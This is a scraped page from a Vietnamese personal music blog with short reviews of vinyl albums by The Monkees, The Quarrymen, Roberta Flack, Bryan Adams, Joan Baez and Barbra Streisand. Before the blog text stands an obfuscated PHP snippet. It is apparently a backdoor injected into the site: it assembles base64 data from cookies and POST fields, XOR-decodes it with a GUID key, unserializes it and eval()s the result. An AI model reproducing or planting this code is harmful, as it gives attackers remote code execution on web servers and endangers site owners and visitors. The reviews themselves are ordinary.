$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> B.l.u.e – Page 2 – Inside the crowd, I dance [alone]

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Page 2 of 33

The Monkees ‎– Pisces, Aquarius, Capricorn & Jones Ltd.

Pisces, Aquarius, Capricorn & Jones Ltd. không những chỉ được xem là album hay nhất của The Monkees (ừm, nhiều người nghĩ album Headquarters trước đó của họ hay hơn, tuỳ người vậy), mà còn là một trong những album có-liên-quan-đến-rock tiêu biểu nhất của thập niên 60, sánh vai với Pet Sounds của Beach Boys, Highway 61 Revisited của Bob Dylan, Revolver của The Beatles hay Beggars Banquet của The Rolling Stones… 

Album giống Revolver ở chỗ hầu như bài nào cũng hay, và mỗi bài có một style khác nhau. The Monkees không bị gò bó bởi yêu cầu của hãng đĩa, bắt đầu bộc lộ tài năng chơi nhạc của mình. Các thành viên trong ban nhạc đều thăng hoa, nhưng đặc biệt nhất vẫn là Mike Nesmith, linh hồn của nhóm, với chất giọng cao và làn hơi kéo dài trong ca khúc mang âm hưởng nhạc đồng quê What Am I Doin’ Hanging Round?, The Door Into Summer (chịu ảnh hưởng từ cuốn tiểu thuyết cùng tên của Robert A. Heinlein), Love Is Only Sleeping đầy mạnh mẽ và lời nhạc hoàn hảo khó chê.

Một album tuyệt hảo, xứng đáng có mặt trong bộ sưu tập của bất cứ tay mê nhạc nào.

tản mạn về The Quarrymen ‎– That’ll Be The Day, một trong những đĩa hiếm nhất

Đây chắc là một trong những đĩa hiếm nhất từng tồn tại, mà thính giả mê nhạc dù có hứng thú đến đâu cũng không thể nào mua được. Vì đây là bản thu âm duy nhất của The Quarrymen, tiền thân của The Beatles huyền thoại, hiện thuộc sở hữu của Sir Paul McCartney.

Câu chuyện bắt đầu vào năm 1956, khi một nhóm những học sinh trung học phổ thông ở trường Quarry Bank (Liverpool) quyết định thành lập ban nhạc với tên The Quarrymen. Thành viên đầu tiên của ban nhạc, không ai khác chính là John Lennon, sau đó có thêm Paul McCartney, George Harrison, Colin Hanton (trống) và John Duff Lowe (piano).

Nhóm các bạn trẻ có những bài học nhạc đầu tiên từ mẹ của John, bà Julia Lennon, ban đầu chủ yếu chỉ đánh đàn banjo. Sau nhóm quyết định chơi thứ nhạc có tên là skiffle – vốn kết hợp jazz, blue, folk và root lại.

Vào ngày 12 tháng 7 năm 1958, nhóm nhạc khi này bắt đầu cảm thấy đủ tự tin và đã đủ tiền tiết kiệm để ghi âm đĩa đầu tiên của mình. Họ tới studio tư gia Phillips’ Sound Recording Services trong cùng thành phố để ghi âm. Giá phải trả, qui ra mệnh giá hiện tại là khoảng 22 đô, chia đều cho 5 người.

Họ ghi âm trên đĩa nhựa 78 vòng, mỗi mặt 1 bài hát. Mặt A đó là “That’ll be the day” của Buddy Holly và Jerry Allison phát hành một năm trước đó. Mặt B là ca khúc đầu tiên các thành viên trong nhóm sáng tác: “In Spite of All the Danger” viết bởi McCartney và Harrison. Theo McCartney kể lại, thì ca khúc này chịu ảnh hướng rất lờn từ Elvis Presley.

Sau khi ra đĩa duy nhất này, mỗi thành viên giữ đĩa trong một tuần, sau đó cho bạn bè mượn. Đĩa thất lạc cho tới năm 1981 khi Lowe quyết định đem nhượng lại nó cho McCartney với số tiền không được công bố.

Hiện McCartney là chủ sở hữu đĩa duy nhất này. Và đĩa này cũng là đĩa hiếm hoi mà không-được-phép-rao-bán trên trang bán đĩa vinyl lớn nhất cõi Internet: discogs, vì theo lời admin: người duy nhất có thể bán đĩa này là McCartney, và tôi không bao giờ nghĩ ông ấy sẽ bán nó.

Roberta Flack ‎– Feel Like Makin’ Love

Album này mua nhân một buổi chán quá đi dạo tiệm đĩa, thấy tựa đề hay nên vác về đại, hoàn toàn chưa biết đến Roberta Flack là ai. Ban đầu khi cho đĩa vào turntable, hình dung trong đầu mình (từ tựa đề và bìa album) là một album nhạc pop folk nhẹ nhàng nào đó, tới khi những nốt nhạc đầu tiên vang lên thì không phải.

Roberta Flack là một ca sĩ nhạc jazz, R&B và soul nổi tiếng những năm 70, và tuy album Feel Like Makin’ Love không phải là album hay và có tiếng vang nhất của bà, nó cũng là một album được đánh giá cao.

Ngoài ca khúc cũng là tựa đề album – vốn, không nghi ngờ gì, cũng nằm trong danh sách những bài hát của nhiều người, thì Early Ev’ry Midnight, Mr Magic, Some Gospel according to Mathew hay I can see the Sun in Late December của Stevie Wonder cũng đều có những điểm nhấn và sắc thái riêng. Album mang đầy đủ đặc trưng của những ca khúc jazz, soul, nghe rất thanh tịnh, thoải mái và bình yên. Nghe album này đẹp nhất là lúc nửa đêm, trong ánh đèn ngủ chập chờn hé, và tiếng hát của người ca sĩ vang lên

Ooh that’s the time, I feel like makin’ love to you
That’s the time, I feel like makin’ dreams come true
Oh baby

Cảm giác âm nhạc thật đẹp biết bao 🙂

Bryan Adams ‎– Cuts Like A Knife

Album thứ 3 của Bryan Adams, và là một album ổn, gợi được cái chất Bryan Adams mà mình từng thích trong vài năm thời niên thiếu. Một Bryan Adams giọng gằn khàn, không quá dữ dội nhưng vẫn ra cái chất đàn ông đầy mạnh mẽ và thu hút.

Cuts Like A Knife không có những ca khúc thật sự tạo thành hit làm điên đảo công chúng như những bài của ông sau này, nhưng là một bước đệm hoàn hảo để Adams nhảy vọt từ cậu-bé-vàng thành một trong những ngôi sao ca nhạc thành công tột bậc. Thật ra, Cuts Like A Knife có những bản ballads nghe kĩ rất là hút hồn, đó là điểm cộng và cũng là điểm mà mình thích ở Bryan Adams.

Mình đánh giá album 4/5 điểm, và gợi ý các ca khúc đáng nghe là: Straight from the Heart, Cuts Like a Knife, This Time ở mặt 1, và Don’t Leave Me Lonely ở mặt 2.

Gregory Simon ‎– Himalayan Afternoon

Cô nói là sẽ bay qua Nepal để leo lên Hy Mã Lạp Sơn, khi nào về cô sẽ kể anh nghe về chuyến đi. Anh biết cô đã phải gần mười năm, nhưng đến giờ mỗi lần nhìn cô vẫn thấy rất lạ, không hiểu sao trong con người với vóc dáng nhỏ bé ấy lại có khao khát được đi và chinh phục mãnh liệt thế.

Anyway, tình cờ trong đám record của anh có album này: Himalayan Afternoon (Gregory Simon). Giờ bên đó đang là buổi chiều, không biết cô đã bắt đầu leo núi chưa, anh bỏ record vào máy, nhìn bóng hắt trên tường và nghĩ lại chuyện xưa…

Joan Baez ‎– Farewell, Angelina

Farewell, Angelina là ca khúc được viết bởi Bob Dylan, vốn ban đầu cho album Bringing It All Back Home của ông, nhưng không hiểu sao chỉ sau một lần thu âm ông không thích nữa. Ca khúc này sau trở thành bài tủ của Joan Baez, và album này cũng là một trong những album hay nhất của bà.

Chuyện của Bob Dylan và Joan Baez cũng hay ho, ngồi lai rai chắc kể cũng được khá. Mà thôi, để sau.

Album này nhìn chung có nhiều ca khúc mà mình rất thích. Những ca khúc như It’s All Over Now, Baby Blue hay Daddy, You Been On My Mind, Colours đều hay không kém gì Farewell, Angelina dù có thể không nổi bằng. Giọng của Joan Baez như có một thứ ma lực cuốn hút người nghe đặt cả tâm hồn mình vào ca khúc…

Farewell, Angelina
The sky is on fire
And I must go.

Barbra Streisand ‎– The Broadway Album

Không quá khi nói The Broadway Album là album hay thuộc loại bậc nhất của Barbra Streisand, dù gia tài âm nhạc của cô có hằng hà vô số album đầy chất lượng. The Broadway Album đánh dấu sự kiện tài năng trẻ đầy triển vọng của sân khấu năm nào quay trở lại hát (tựa như) nhạc kịch.

Barbra Streisand khởi đầu sự nghiệp bằng việc trình diễn ở các show Nightclub và sân khấu kịch. Không quá đi sâu vào chi tiết, nhưng Streisand nhanh chóng trở thành một trong những ngôi sao trẻ đáng chú ý của sân khấu Broadway. Ở tuổi 20 mà thành công ở Broadway như thế đó không phải chuyện dễ dàng. Và như đã biết, sau đấy, Barbra chuyển sang lĩnh vực ca hát, trở thành một trong những danh ca có số lượng đĩa bán chạy nhất thời bấy giờ.

The Broadway Album thể hiện sự tự tin của Barbra khi cô trình bày những ca khúc đậm chất nhạc kịch rất khó, như If I Loved You trong Carousel, Adelaide’s Lamen trong Guys and Dolls hay Can’t Help Lovin’ That Man trong Showbat. Khó có thể chê trách gì ở Barbra trong những ca khúc này. Ngoài ra, cô còn nhờ được nhà soạn nhạc có tiếng ở Broadway là Stephen Sondheim đặt lời nhạc thêm cho các bài Putting It TogetherSend in The Clowns.

Album nghe rất rất tuyệt. Giọng cao vút và trong trẻo của Barbra hoà cùng dàn nhạc như đưa người nghe tới một thế giới sân khấu, và dưới bóng đèn hào hoa sáng rực nhưng lẻ loi, cô ca sĩ ấy cất tiếng để kể về những câu chuyện, vui có, hài hước có, lãng mạn và buồn đau thương cũng có…

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.